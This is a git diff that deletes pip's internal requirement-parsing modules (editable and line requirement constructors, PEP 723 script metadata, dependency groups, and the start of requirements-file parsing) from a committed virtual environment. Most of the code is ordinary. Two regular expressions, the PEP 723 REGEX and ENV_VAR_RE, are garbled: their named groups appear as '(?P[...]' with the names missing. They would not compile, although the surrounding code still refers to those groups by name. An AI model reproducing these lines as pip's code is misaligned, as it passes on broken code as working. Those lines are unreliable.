-# https://packaging.python.org/en/latest/specifications/version-specifiers/#id5
-operators = ("~=", "==", "!=", "<=", ">=", "<", ">", "===")
-
-
-def strip_extras(path: str) -> tuple[str, set[str]]:
-    m = re.match(r"^(.+)(\[[^\]]+\])$", path)
-    extras = None
-    if m:
-        path_no_extras = m.group(1).rstrip()
-        extras = m.group(2)
-    else:
-        path_no_extras = path
-
-    return path_no_extras, _convert_extras(extras)
-
-
-def _convert_extras(extras: str | None) -> set[str]:
-    if not extras:
-        return set()
-    return get_requirement("placeholder" + extras.lower()).extras
-
-
-def _set_requirement_extras(req: Requirement, new_extras: set[str]) -> Requirement:
-    """
-    Returns a new requirement based on the given one, with the supplied extras. If the
-    given requirement already has extras those are replaced (or dropped if no new extras
-    are given).
-    """
-    match: re.Match[str] | None = re.fullmatch(
-        # see https://peps.python.org/pep-0508/#complete-grammar
-        r"([\w\t .-]+)(\[[^\]]*\])?(.*)",
-        str(req),
-        flags=re.ASCII,
-    )
-    # ireq.req is a valid requirement so the regex should always match
-    assert (
-        match is not None
-    ), f"regex match on requirement {req} failed, this should never happen"
-    pre: str | None = match.group(1)
-    post: str | None = match.group(3)
-    assert (
-        pre is not None and post is not None
-    ), f"regex group selection for requirement {req} failed, this should never happen"
-    extras: str = "[{}]".format(",".join(sorted(new_extras)) if new_extras else "")
-    return get_requirement(f"{pre}{extras}{post}")
-
-
-def _parse_direct_url_editable(editable_req: str) -> tuple[str | None, str, set[str]]:
-    try:
-        req = Requirement(editable_req)
-    except InvalidRequirement:
-        pass
-    else:
-        if req.url:
-            # Join the marker back into the name part. This will be parsed out
-            # later into a Requirement again.
-            if req.marker:
-                name = f"{req.name} ; {req.marker}"
-            else:
-                name = req.name
-            return (name, req.url, req.extras)
-
-    raise ValueError
-
-
-def _parse_pip_syntax_editable(editable_req: str) -> tuple[str | None, str, set[str]]:
-    url = editable_req
-
-    # If a file path is specified with extras, strip off the extras.
-    url_no_extras, extras = strip_extras(url)
-
-    if os.path.isdir(url_no_extras):
-        # Treating it as code that has already been checked out
-        url_no_extras = path_to_url(url_no_extras)
-
-    if url_no_extras.lower().startswith("file:"):
-        package_name = Link(url_no_extras).egg_fragment
-        return (package_name, url_no_extras, extras)
-
-    for version_control in vcs:
-        if url.lower().startswith(f"{version_control}:"):
-            url = f"{version_control}+{url}"
-            break
-
-    return Link(url).egg_fragment, url, set()
-
-
-def parse_editable(editable_req: str) -> tuple[str | None, str, set[str]]:
-    """Parses an editable requirement into:
-        - a requirement name with environment markers
-        - an URL
-        - extras
-    Accepted requirements:
-        - svn+http://blahblah@rev#egg=Foobar[baz]&subdirectory=version_subdir
-        - local_path[some_extra]
-        - Foobar[extra] @ svn+http://blahblah@rev#subdirectory=subdir ; markers
-    """
-    try:
-        package_name, url, extras = _parse_direct_url_editable(editable_req)
-    except ValueError:
-        package_name, url, extras = _parse_pip_syntax_editable(editable_req)
-
-    link = Link(url)
-
-    if not link.is_vcs and not link.url.startswith("file:"):
-        backends = ", ".join(vcs.all_schemes)
-        raise InstallationError(
-            f"{editable_req} is not a valid editable requirement. "
-            f"It should either be a path to a local project or a VCS URL "
-            f"(beginning with {backends})."
-        )
-
-    # The project name can be inferred from local file URIs easily.
-    if not package_name and not link.url.startswith("file:"):
-        raise InstallationError(
-            f"Could not detect requirement name for '{editable_req}', "
-            "please specify one with your_package_name @ URL"
-        )
-    return package_name, url, extras
-
-
-def check_first_requirement_in_file(filename: str) -> None:
-    """Check if file is parsable as a requirements file.
-
-    This is heavily based on ``pkg_resources.parse_requirements``, but
-    simplified to just check the first meaningful line.
-
-    :raises InvalidRequirement: If the first meaningful line cannot be parsed
-        as an requirement.
-    """
-    with open(filename, encoding="utf-8", errors="ignore") as f:
-        # Create a steppable iterator, so we can handle \-continuations.
-        lines = (
-            line
-            for line in (line.strip() for line in f)
-            if line and not line.startswith("#")  # Skip blank lines/comments.
-        )
-
-        for line in lines:
-            # Drop comments -- a hash without a space may be in a URL.
-            if " #" in line:
-                line = line[: line.find(" #")]
-            # If there is a line continuation, drop it, and append the next line.
-            if line.endswith("\\"):
-                line = line[:-2].strip() + next(lines, "")
-            get_requirement(line)
-            return
-
-
-def deduce_helpful_msg(req: str) -> str:
-    """Returns helpful msg in case requirements file does not exist,
-    or cannot be parsed.
-
-    :params req: Requirements file path
-    """
-    if not os.path.exists(req):
-        return f" File '{req}' does not exist."
-    msg = " The path does exist. "
-    # Try to parse and check if it is a requirements file.
-    try:
-        check_first_requirement_in_file(req)
-    except InvalidRequirement:
-        logger.debug("Cannot parse '%s' as requirements file", req)
-    else:
-        msg += (
-            f"The argument you provided "
-            f"({req}) appears to be a"
-            f" requirements file. If that is the"
-            f" case, use the '-r' flag to install"
-            f" the packages specified within it."
-        )
-    return msg
-
-
-@dataclass(frozen=True)
-class RequirementParts:
-    requirement: Requirement | None
-    link: Link | None
-    markers: Marker | None
-    extras: set[str]
-
-
-def parse_req_from_editable(editable_req: str) -> RequirementParts:
-    name, url, extras_override = parse_editable(editable_req)
-
-    if name is not None:
-        try:
-            req: Requirement | None = get_requirement(name)
-        except InvalidRequirement as exc:
-            raise InstallationError(f"Invalid requirement: {name!r}: {exc}")
-    else:
-        req = None
-
-    link = Link(url)
-
-    return RequirementParts(req, link, None, extras_override)
-
-
-# ---- The actual constructors follow ----
-
-
-def install_req_from_editable(
-    editable_req: str,
-    comes_from: InstallRequirement | str | None = None,
-    *,
-    isolated: bool = False,
-    hash_options: dict[str, list[str]] | None = None,
-    constraint: bool = False,
-    user_supplied: bool = False,
-    config_settings: dict[str, str | list[str]] | None = None,
-) -> InstallRequirement:
-    if constraint:
-        raise InstallationError("Editable requirements are not allowed as constraints")
-
-    parts = parse_req_from_editable(editable_req)
-    return InstallRequirement(
-        parts.requirement,
-        comes_from=comes_from,
-        user_supplied=user_supplied,
-        editable=True,
-        link=parts.link,
-        constraint=constraint,
-        isolated=isolated,
-        hash_options=hash_options,
-        config_settings=config_settings,
-        extras=parts.extras,
-    )
-
-
-def _looks_like_path(name: str) -> bool:
-    """Checks whether the string "looks like" a path on the filesystem.
-
-    This does not check whether the target actually exists, only judge from the
-    appearance.
-
-    Returns true if any of the following conditions is true:
-    * a path separator is found (either os.path.sep or os.path.altsep);
-    * a dot is found (which represents the current directory).
-    """
-    if os.path.sep in name:
-        return True
-    if os.path.altsep is not None and os.path.altsep in name:
-        return True
-    if name.startswith("."):
-        return True
-    return False
-
-
-def _get_url_from_path(path: str, name: str) -> str | None:
-    """
-    First, it checks whether a provided path is an installable directory. If it
-    is, returns the path.
-
-    If false, check if the path is an archive file (such as a .whl).
-    The function checks if the path is a file. If false, if the path has
-    an @, it will treat it as a PEP 440 URL requirement and return the path.
-    """
-    if _looks_like_path(name) and os.path.isdir(path):
-        if is_installable_dir(path):
-            return path_to_url(path)
-        # TODO: The is_installable_dir test here might not be necessary
-        #       now that it is done in load_pyproject_toml too.
-        raise InstallationError(
-            f"Directory {name!r} is not installable. Neither 'setup.py' "
-            "nor 'pyproject.toml' found."
-        )
-    if not is_archive_file(path):
-        return None
-    if os.path.isfile(path):
-        return path_to_url(path)
-    urlreq_parts = name.split("@", 1)
-    if len(urlreq_parts) >= 2 and not _looks_like_path(urlreq_parts[0]):
-        # If the path contains '@' and the part before it does not look
-        # like a path, try to treat it as a PEP 440 URL req instead.
-        return None
-    logger.warning(
-        "Requirement %r looks like a filename, but the file does not exist",
-        name,
-    )
-    return path_to_url(path)
-
-
-def parse_req_from_line(name: str, line_source: str | None) -> RequirementParts:
-    if is_url(name):
-        marker_sep = "; "
-    else:
-        marker_sep = ";"
-    if marker_sep in name:
-        name, markers_as_string = name.split(marker_sep, 1)
-        markers_as_string = markers_as_string.strip()
-        if not markers_as_string:
-            markers = None
-        else:
-            try:
-                markers = Marker(markers_as_string)
-            except InvalidMarker as exc:
-                raise InstallationError(f"Invalid requirement: {name.strip()!r}: {exc}")
-    else:
-        markers = None
-    name = name.strip()
-    req_as_string = None
-    path = os.path.normpath(os.path.abspath(name))
-    link = None
-
-    if is_url(name):
-        link = Link(name)
-        extras: set[str] = set()
-    else:
-        p, extras = strip_extras(path)
-        url = _get_url_from_path(p, name)
-        if url is not None:
-            link = Link(url)
-
-    # it's a local file, dir, or url
-    if link:
-        # Handle relative file URLs
-        if link.scheme == "file" and re.search(r"\.\./", link.url):
-            link = Link(path_to_url(os.path.normpath(os.path.abspath(link.path))))
-        # wheel file
-        if link.is_wheel:
-            wheel = Wheel(link.filename)  # can raise InvalidWheelFilename
-            req_as_string = f"{wheel.name}=={wheel.version}"
-        else:
-            # set the req to the egg fragment.  when it's not there, this
-            # will become an 'unnamed' requirement
-            req_as_string = link.egg_fragment
-
-    # a requirement specifier
-    else:
-        req_as_string = name
-
-    def with_source(text: str) -> str:
-        if not line_source:
-            return text
-        return f"{text} (from {line_source})"
-
-    def _parse_req_string(req_as_string: str) -> Requirement:
-        try:
-            return get_requirement(req_as_string)
-        except InvalidRequirement as exc:
-            if os.path.sep in req_as_string:
-                add_msg = "It looks like a path."
-                add_msg += deduce_helpful_msg(req_as_string)
-            elif "=" in req_as_string and not any(
-                op in req_as_string for op in operators
-            ):
-                add_msg = "= is not a valid operator. Did you mean == ?"
-            else:
-                add_msg = ""
-            msg = with_source(f"Invalid requirement: {req_as_string!r}: {exc}")
-            if add_msg:
-                msg += f"\nHint: {add_msg}"
-            raise InstallationError(msg)
-
-    if req_as_string is not None:
-        req: Requirement | None = _parse_req_string(req_as_string)
-    else:
-        req = None
-
-    return RequirementParts(req, link, markers, extras)
-
-
-def install_req_from_line(
-    name: str,
-    comes_from: str | InstallRequirement | None = None,
-    *,
-    isolated: bool = False,
-    hash_options: dict[str, list[str]] | None = None,
-    constraint: bool = False,
-    line_source: str | None = None,
-    user_supplied: bool = False,
-    config_settings: dict[str, str | list[str]] | None = None,
-) -> InstallRequirement:
-    """Creates an InstallRequirement from a name, which might be a
-    requirement, directory containing 'setup.py', filename, or URL.
-
-    :param line_source: An optional string describing where the line is from,
-        for logging purposes in case of an error.
-    """
-    parts = parse_req_from_line(name, line_source)
-
-    return InstallRequirement(
-        parts.requirement,
-        comes_from,
-        link=parts.link,
-        markers=parts.markers,
-        isolated=isolated,
-        hash_options=hash_options,
-        config_settings=config_settings,
-        constraint=constraint,
-        extras=parts.extras,
-        user_supplied=user_supplied,
-    )
-
-
-def install_req_from_req_string(
-    req_string: str,
-    comes_from: InstallRequirement | None = None,
-    isolated: bool = False,
-    user_supplied: bool = False,
-) -> InstallRequirement:
-    try:
-        req = get_requirement(req_string)
-    except InvalidRequirement as exc:
-        raise InstallationError(f"Invalid requirement: {req_string!r}: {exc}")
-
-    domains_not_allowed = [
-        PyPI.file_storage_domain,
-        TestPyPI.file_storage_domain,
-    ]
-    if (
-        req.url
-        and comes_from
-        and comes_from.link
-        and comes_from.link.netloc in domains_not_allowed
-    ):
-        # Explicitly disallow pypi packages that depend on external urls
-        raise InstallationError(
-            "Packages installed from PyPI cannot depend on packages "
-            "which are not also hosted on PyPI.\n"
-            f"{comes_from.name} depends on {req} "
-        )
-
-    return InstallRequirement(
-        req,
-        comes_from,
-        isolated=isolated,
-        user_supplied=user_supplied,
-    )
-
-
-def install_req_from_parsed_requirement(
-    parsed_req: ParsedRequirement,
-    isolated: bool = False,
-    user_supplied: bool = False,
-    config_settings: dict[str, str | list[str]] | None = None,
-) -> InstallRequirement:
-    if parsed_req.is_editable:
-        req = install_req_from_editable(
-            parsed_req.requirement,
-            comes_from=parsed_req.comes_from,
-            constraint=parsed_req.constraint,
-            isolated=isolated,
-            user_supplied=user_supplied,
-            config_settings=config_settings,
-        )
-
-    else:
-        req = install_req_from_line(
-            parsed_req.requirement,
-            comes_from=parsed_req.comes_from,
-            isolated=isolated,
-            hash_options=(
-                parsed_req.options.get("hashes", {}) if parsed_req.options else {}
-            ),
-            constraint=parsed_req.constraint,
-            line_source=parsed_req.line_source,
-            user_supplied=user_supplied,
-            config_settings=config_settings,
-        )
-    return req
-
-
-def install_req_from_link_and_ireq(
-    link: Link, ireq: InstallRequirement
-) -> InstallRequirement:
-    return InstallRequirement(
-        req=ireq.req,
-        comes_from=ireq.comes_from,
-        editable=ireq.editable,
-        link=link,
-        markers=ireq.markers,
-        isolated=ireq.isolated,
-        hash_options=ireq.hash_options,
-        config_settings=ireq.config_settings,
-        user_supplied=ireq.user_supplied,
-    )
-
-
-def install_req_drop_extras(ireq: InstallRequirement) -> InstallRequirement:
-    """
-    Creates a new InstallationRequirement using the given template but without
-    any extras. Sets the original requirement as the new one's parent
-    (comes_from).
-    """
-    return InstallRequirement(
-        req=(
-            _set_requirement_extras(ireq.req, set()) if ireq.req is not None else None
-        ),
-        comes_from=ireq,
-        editable=ireq.editable,
-        link=ireq.link,
-        markers=ireq.markers,
-        isolated=ireq.isolated,
-        hash_options=ireq.hash_options,
-        constraint=ireq.constraint,
-        extras=[],
-        config_settings=ireq.config_settings,
-        user_supplied=ireq.user_supplied,
-    )
-
-
-def install_req_extend_extras(
-    ireq: InstallRequirement,
-    extras: Collection[str],
-) -> InstallRequirement:
-    """
-    Returns a copy of an installation requirement with some additional extras.
-    Makes a shallow copy of the ireq object.
-    """
-    result = copy.copy(ireq)
-    result.extras = {*ireq.extras, *extras}
-    result.req = (
-        _set_requirement_extras(ireq.req, result.extras)
-        if ireq.req is not None
-        else None
-    )
-    return result
-
-
-def _pylock_hashes_to_hash_options(hashes: Mapping[str, str]) -> dict[str, list[str]]:
-    return {k: [v] for k, v in hashes.items()}
-
-
-def install_req_from_pylock_package(
-    package: pylock.Package,
-    package_dist: (
-        pylock.PackageVcs
-        | pylock.PackageArchive
-        | pylock.PackageDirectory
-        | pylock.PackageSdist
-        | pylock.PackageWheel
-    ),
-    pylock_path_or_url: str,
-    user_supplied: bool,
-) -> tuple[InstallRequirement, Link | None]:
-    """Construct an InstallRequirement from a pylock package and artifact.
-
-    If the artifact is a Sdist or Wheel, also return a locked Link which
-    is meant to override candidates from indexes or --find-links.
-    """
-    # TODO: validate file size
-    if isinstance(package_dist, pylock.PackageVcs):
-        req_url = package_vcs_requirement_url(pylock_path_or_url, package_dist)
-        return (
-            InstallRequirement(
-                req=Requirement(f"{package.name} @ {req_url}"),
-                comes_from=pylock_path_or_url,
-                user_supplied=user_supplied,
-            ),
-            None,
-        )
-    elif isinstance(package_dist, pylock.PackageArchive):
-        req_url = package_archive_requirement_url(pylock_path_or_url, package_dist)
-        return (
-            InstallRequirement(
-                req=Requirement(f"{package.name} @ {req_url}"),
-                comes_from=pylock_path_or_url,
-                hash_options=_pylock_hashes_to_hash_options(package_dist.hashes),
-                user_supplied=user_supplied,
-            ),
-            None,
-        )
-    elif isinstance(package_dist, pylock.PackageDirectory):
-        req_url = package_directory_requirement_url(pylock_path_or_url, package_dist)
-        if package_dist.editable:
-            return (
-                install_req_from_editable(
-                    req_url,
-                    comes_from=pylock_path_or_url,
-                    user_supplied=user_supplied,
-                ),
-                None,
-            )
-        else:
-            return (
-                install_req_from_line(
-                    req_url,
-                    comes_from=pylock_path_or_url,
-                    user_supplied=user_supplied,
-                ),
-                None,
-            )
-    else:
-        # wheel or sdist
-        version = package.version
-        if isinstance(package_dist, pylock.PackageWheel):
-            if not version:
-                _, version, _, _ = parse_wheel_filename(package_dist.filename)
-            requirement_url = package_wheel_requirement_url(
-                pylock_path_or_url, package_dist
-            )
-        elif isinstance(package_dist, pylock.PackageSdist):
-            if not version:
-                _, version = parse_sdist_filename(package_dist.filename)
-            requirement_url = package_sdist_requirement_url(
-                pylock_path_or_url, package_dist
-            )
-        ireq = InstallRequirement(
-            req=Requirement(f"{package.name}=={version}"),
-            comes_from=pylock_path_or_url,
-            hash_options=_pylock_hashes_to_hash_options(package_dist.hashes),
-            user_supplied=user_supplied,
-        )
-        locked_link = Link(
-            requirement_url,
-            comes_from=pylock_path_or_url,
-            upload_time=package_dist.upload_time,
-        )
-        return ireq, locked_link
diff --git a/venv/Lib/site-packages/pip/_internal/req/pep723.py b/venv/Lib/site-packages/pip/_internal/req/pep723.py
deleted file mode 100644
index 2e0c1b970ee16e3721fcbde3dfa4f7dfbb00a931..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/req/pep723.py
+++ /dev/null
@@ -1,41 +0,0 @@
-import re
-from typing import Any
-
-from pip._internal.utils.compat import tomllib
-
-REGEX = r"(?m)^# /// (?P[a-zA-Z0-9-]+)$\s(?P(^#(| .*)$\s)+)^# ///$"
-
-
-class PEP723Exception(ValueError):
-    """Raised to indicate a problem when parsing PEP 723 metadata from a script"""
-
-    def __init__(self, msg: str) -> None:
-        self.msg = msg
-
-
-def pep723_metadata(scriptfile: str) -> dict[str, Any]:
-    with open(scriptfile, encoding="utf8") as f:
-        script = f.read()
-
-    name = "script"
-    matches = list(
-        filter(lambda m: m.group("type") == name, re.finditer(REGEX, script))
-    )
-
-    if len(matches) > 1:
-        raise PEP723Exception(f"Multiple {name!r} blocks found in {scriptfile!r}")
-    elif len(matches) == 1:
-        content = "".join(
-            line[2:] if line.startswith("# ") else line[1:]
-            for line in matches[0].group("content").splitlines(keepends=True)
-        )
-        try:
-            metadata = tomllib.loads(content)
-        except Exception as exc:
-            raise PEP723Exception(f"Failed to parse TOML in {scriptfile!r}") from exc
-    else:
-        raise PEP723Exception(
-            f"File does not contain {name!r} metadata: {scriptfile!r}"
-        )
-
-    return metadata
diff --git a/venv/Lib/site-packages/pip/_internal/req/req_dependency_group.py b/venv/Lib/site-packages/pip/_internal/req/req_dependency_group.py
deleted file mode 100644
index eb9d80248af412212b47d302e51de2f070f05d05..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/req/req_dependency_group.py
+++ /dev/null
@@ -1,86 +0,0 @@
-from collections.abc import Iterable, Iterator
-from typing import Any
-
-from pip._vendor.packaging.dependency_groups import DependencyGroupResolver
-from pip._vendor.packaging.errors import ExceptionGroup
-
-from pip._internal.exceptions import InstallationError
-from pip._internal.utils.compat import tomllib
-
-
-def parse_dependency_groups(groups: list[tuple[str, str]]) -> list[str]:
-    """
-    Parse dependency groups data as provided via the CLI, in a `[path:]group` syntax.
-
-    Raises InstallationErrors if anything goes wrong.
-    """
-    resolvers = _build_resolvers(path for (path, _) in groups)
-    return list(_resolve_all_groups(resolvers, groups))
-
-
-def _resolve_all_groups(
-    resolvers: dict[str, DependencyGroupResolver], groups: list[tuple[str, str]]
-) -> Iterator[str]:
-    """
-    Run all resolution, converting any error from `DependencyGroupResolver` into
-    an InstallationError.
-    """
-    for path, groupname in groups:
-        resolver = resolvers[path]
-        try:
-            yield from (str(req) for req in resolver.resolve(groupname))
-        except ExceptionGroup as eg:
-            # Convert ExceptionGroup to a single InstallationError with all messages
-            messages = [str(e) for e in eg.exceptions]
-            raise InstallationError(
-                f"[dependency-groups] resolution failed for '{groupname}' "
-                f"from '{path}': {'; '.join(messages)}"
-            ) from eg
-
-
-def _build_resolvers(paths: Iterable[str]) -> dict[str, Any]:
-    resolvers = {}
-    for path in paths:
-        if path in resolvers:
-            continue
-
-        pyproject = _load_pyproject(path)
-        if "dependency-groups" not in pyproject:
-            raise InstallationError(
-                f"[dependency-groups] table was missing from '{path}'. "
-                "Cannot resolve '--group' option."
-            )
-        raw_dependency_groups = pyproject["dependency-groups"]
-        if not isinstance(raw_dependency_groups, dict):
-            raise InstallationError(
-                f"[dependency-groups] table was malformed in {path}. "
-                "Cannot resolve '--group' option."
-            )
-
-        try:
-            resolvers[path] = DependencyGroupResolver(raw_dependency_groups)
-        except ExceptionGroup as eg:
-            # Handle ExceptionGroup from resolver initialization
-            messages = [str(e) for e in eg.exceptions]
-            raise InstallationError(
-                f"[dependency-groups] data was invalid in {path}: {'; '.join(messages)}"
-            ) from eg
-
-    return resolvers
-
-
-def _load_pyproject(path: str) -> dict[str, Any]:
-    """
-    This helper loads a pyproject.toml as TOML.
-
-    It raises an InstallationError if the operation fails.
-    """
-    try:
-        with open(path, "rb") as fp:
-            return tomllib.load(fp)
-    except FileNotFoundError:
-        raise InstallationError(f"{path} not found. Cannot resolve '--group' option.")
-    except tomllib.TOMLDecodeError as e:
-        raise InstallationError(f"Error parsing {path}: {e}") from e
-    except OSError as e:
-        raise InstallationError(f"Error reading {path}: {e}") from e
diff --git a/venv/Lib/site-packages/pip/_internal/req/req_file.py b/venv/Lib/site-packages/pip/_internal/req/req_file.py
deleted file mode 100644
index 400bb86644244695c6dbf0c5c80f8315e12125e7..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/req/req_file.py
+++ /dev/null
@@ -1,622 +0,0 @@
-"""
-Requirements file parsing
-"""
-
-from __future__ import annotations
-
-import codecs
-import logging
-import optparse
-import os
-import re
-import shlex
-import sys
-import urllib.parse
-from collections.abc import Callable, Generator, Iterable
-from dataclasses import dataclass
-from optparse import Values
-from typing import (
-    TYPE_CHECKING,
-    Any,
-    NoReturn,
-)
-
-from pip._internal.cli import cmdoptions
-from pip._internal.exceptions import InstallationError, RequirementsFileParseError
-from pip._internal.models.release_control import ReleaseControl
-from pip._internal.models.search_scope import SearchScope
-from pip._internal.utils.compat import get_locale_encoding
-
-if TYPE_CHECKING:
-    from pip._internal.index.package_finder import PackageFinder
-    from pip._internal.network.session import PipSession
-
-__all__ = ["parse_requirements"]
-
-ReqFileLines = Iterable[tuple[int, str]]
-
-LineParser = Callable[[str], tuple[str, Values]]
-
-SCHEME_RE = re.compile(r"^(http|https|file):", re.I)
-COMMENT_RE = re.compile(r"(^|\s+)#.*$")
-
-# Matches environment variable-style values in '${MY_VARIABLE_1}' with the
-# variable name consisting of only uppercase letters, digits or the '_'
-# (underscore). This follows the POSIX standard defined in IEEE Std 1003.1,
-# 2013 Edition.
-ENV_VAR_RE = re.compile(r"(?P\$\{(?P[A-Z0-9_]+)\})")
-
-SUPPORTED_OPTIONS: list[Callable[..., optparse.Option]] = [
-    cmdoptions.index_url,
-    cmdoptions.extra_index_url,
-    cmdoptions.no_index,
-    cmdoptions.constraints,
-    cmdoptions.requirements,
-    cmdoptions.editable,
-    cmdoptions.find_links,
-    cmdoptions.no_binary,
-    cmdoptions.only_binary,
-    cmdoptions.prefer_binary,
-    cmdoptions.require_hashes,
-    cmdoptions.no_require_hashes,
-    cmdoptions.pre,
-    cmdoptions.all_releases,
-    cmdoptions.only_final,
-    cmdoptions.trusted_host,
-    cmdoptions.use_new_feature,
-]
-
-# options to be passed to requirements
-SUPPORTED_OPTIONS_REQ: list[Callable[..., optparse.Option]] = [
-    cmdoptions.hash,
-    cmdoptions.config_settings,
-]
-
-SUPPORTED_OPTIONS_EDITABLE_REQ: list[Callable[..., optparse.Option]] = [
-    cmdoptions.config_settings,
-]
-
-
-# the 'dest' string values
-SUPPORTED_OPTIONS_REQ_DEST = [str(o().dest) for o in SUPPORTED_OPTIONS_REQ]
-SUPPORTED_OPTIONS_EDITABLE_REQ_DEST = [
-    str(o().dest) for o in SUPPORTED_OPTIONS_EDITABLE_REQ
-]
-
-# order of BOMS is important: codecs.BOM_UTF16_LE is a prefix of codecs.BOM_UTF32_LE
-# so data.startswith(BOM_UTF16_LE) would be true for UTF32_LE data
-BOMS: list[tuple[bytes, str]] = [
-    (codecs.BOM_UTF8, "utf-8"),
-    (codecs.BOM_UTF32, "utf-32"),
-    (codecs.BOM_UTF32_BE, "utf-32-be"),
-    (codecs.BOM_UTF32_LE, "utf-32-le"),
-    (codecs.BOM_UTF16, "utf-16"),
-    (codecs.BOM_UTF16_BE, "utf-16-be"),
-    (codecs.BOM_UTF16_LE, "utf-16-le"),
-]
-
-PEP263_ENCODING_RE = re.compile(rb"coding[:=]\s*([-\w.]+)")
-DEFAULT_ENCODING = "utf-8"
-
-logger = logging.getLogger(__name__)
-
-
-@dataclass(frozen=True, slots=True)
-class ParsedRequirement:
-    requirement: str
-    is_editable: bool
-    comes_from: str
-    constraint: bool
-    options: dict[str, Any] | None
-    line_source: str | None
-
-
-@dataclass(frozen=True, slots=True)
-class ParsedLine:
-    filename: str
-    lineno: int
-    args: str
-    opts: Values
-    constraint: bool
-
-    @property
-    def is_editable(self) -> bool:
-        return bool(self.opts.editables)
-
-    @property
-    def requirement(self) -> str | None:
-        if self.args:
-            return self.args
-        elif self.is_editable:
-            # We don't support multiple -e on one line
-            return self.opts.editables[0]
-        return None
-
-
-def parse_requirements(
-    filename: str,
-    session: PipSession,
-    finder: PackageFinder | None = None,
-    options: optparse.Values | None = None,
-    constraint: bool = False,
-) -> Generator[ParsedRequirement, None, None]:
-    """Parse a requirements file and yield ParsedRequirement instances.
-
-    :param filename:    Path or url of requirements file.
-    :param session:     PipSession instance.
-    :param finder:      Instance of pip.index.PackageFinder.
-    :param options:     cli options.
-    :param constraint:  If true, parsing a constraint file rather than
-        requirements file.
-    """
-    line_parser = get_line_parser(finder)
-    parser = RequirementsFileParser(session, line_parser)
-
-    for parsed_line in parser.parse(filename, constraint):
-        parsed_req = handle_line(
-            parsed_line, options=options, finder=finder, session=session
-        )
-        if parsed_req is not None:
-            yield parsed_req
-
-
-def preprocess(content: str) -> ReqFileLines:
-    """Split, filter, and join lines, and return a line iterator
-
-    :param content: the content of the requirements file
-    """
-    lines_enum: ReqFileLines = enumerate(content.splitlines(), start=1)
-    lines_enum = join_lines(lines_enum)
-    lines_enum = ignore_comments(lines_enum)
-    lines_enum = expand_env_variables(lines_enum)
-    return lines_enum
-
-
-def handle_requirement_line(
-    line: ParsedLine,
-    options: optparse.Values | None = None,
-) -> ParsedRequirement:
-    # preserve for the nested code path
-    line_comes_from = "{} {} (line {})".format(
-        "-c" if line.constraint else "-r",
-        line.filename,
-        line.lineno,
-    )
-
-    assert line.requirement is not None
-
-    # get the options that apply to requirements
-    if line.is_editable:
-        supported_dest = SUPPORTED_OPTIONS_EDITABLE_REQ_DEST
-    else:
-        supported_dest = SUPPORTED_OPTIONS_REQ_DEST
-    req_options = {}
-    for dest in supported_dest:
-        if dest in line.opts.__dict__ and line.opts.__dict__[dest]:
-            req_options[dest] = line.opts.__dict__[dest]
-
-    line_source = f"line {line.lineno} of {line.filename}"
-    return ParsedRequirement(
-        requirement=line.requirement,
-        is_editable=line.is_editable,
-        comes_from=line_comes_from,
-        constraint=line.constraint,
-        options=req_options,
-        line_source=line_source,
-    )
-
-
-def handle_option_line(
-    opts: Values,
-    filename: str,
-    lineno: int,
-    finder: PackageFinder | None = None,
-    options: optparse.Values | None = None,
-    session: PipSession | None = None,
-) -> None:
-    if opts.hashes:
-        logger.warning(
-            "%s line %s has --hash but no requirement, and will be ignored.",
-            filename,
-            lineno,
-        )
-
-    if options:
-        # percolate options upward
-        if opts.require_hashes:
-            options.require_hashes = opts.require_hashes
-        if opts.no_require_hashes:
-            options.no_require_hashes = opts.no_require_hashes
-        if opts.features_enabled:
-            options.features_enabled.extend(
-                f for f in opts.features_enabled if f not in options.features_enabled
-            )
-
-    # set finder options
-    if finder:
-        find_links = finder.find_links
-        index_urls = finder.index_urls
-        no_index = finder.search_scope.no_index
-        if opts.no_index is True:
-            no_index = True
-            index_urls = []
-        if opts.index_url and not no_index:
-            index_urls = [opts.index_url]
-        if opts.extra_index_urls and not no_index:
-            index_urls.extend(opts.extra_index_urls)
-        if opts.find_links:
-            # FIXME: it would be nice to keep track of the source
-            # of the find_links: support a find-links local path
-            # relative to a requirements file.
-            value = opts.find_links[0]
-            req_dir = os.path.dirname(os.path.abspath(filename))
-            relative_to_reqs_file = os.path.join(req_dir, value)
-            if os.path.exists(relative_to_reqs_file):
-                value = relative_to_reqs_file
-            find_links.append(value)
-
-        if session:
-            # We need to update the auth urls in session
-            session.update_index_urls(index_urls)
-
-        search_scope = SearchScope(
-            find_links=find_links,
-            index_urls=index_urls,
-            no_index=no_index,
-        )
-        finder.search_scope = search_scope
-
-        # Transform --pre into --all-releases :all:
-        if opts.pre:
-            if not opts.release_control:
-                opts.release_control = ReleaseControl()
-            opts.release_control.all_releases.add(":all:")
-
-        if opts.release_control:
-            if not finder.release_control:
-                # First time seeing release_control, set it on finder
-                finder.set_release_control(opts.release_control)
-
-        if opts.prefer_binary:
-            finder.set_prefer_binary()
-
-        if session:
-            for host in opts.trusted_hosts or []:
-                source = f"line {lineno} of {filename}"
-                session.add_trusted_host(host, source=source)
-
-
-def handle_line(
-    line: ParsedLine,
-    options: optparse.Values | None = None,
-    finder: PackageFinder | None = None,
-    session: PipSession | None = None,
-) -> ParsedRequirement | None:
-    """Handle a single parsed requirements line; This can result in
-    creating/yielding requirements, or updating the finder.
-
-    :param line:        The parsed line to be processed.
-    :param options:     CLI options.
-    :param finder:      The finder - updated by non-requirement lines.
-    :param session:     The session - updated by non-requirement lines.
-
-    Returns a ParsedRequirement object if the line is a requirement line,
-    otherwise returns None.
-
-    For lines that contain requirements, the only options that have an effect
-    are from SUPPORTED_OPTIONS_REQ, and they are scoped to the
-    requirement. Other options from SUPPORTED_OPTIONS may be present, but are
-    ignored.
-
-    For lines that do not contain requirements, the only options that have an
-    effect are from SUPPORTED_OPTIONS. Options from SUPPORTED_OPTIONS_REQ may
-    be present, but are ignored. These lines may contain multiple options
-    (although our docs imply only one is supported), and all our parsed and
-    affect the finder.
-    """
-
-    if line.requirement is not None:
-        parsed_req = handle_requirement_line(line, options)
-        return parsed_req
-    else:
-        handle_option_line(
-            line.opts,
-            line.filename,
-            line.lineno,
-            finder,
-            options,
-            session,
-        )
-        return None
-
-
-class RequirementsFileParser:
-    def __init__(
-        self,
-        session: PipSession,
-        line_parser: LineParser,
-    ) -> None:
-        self._session = session
-        self._line_parser = line_parser
-
-    def parse(
-        self, filename: str, constraint: bool
-    ) -> Generator[ParsedLine, None, None]:
-        """Parse a given file, yielding parsed lines."""
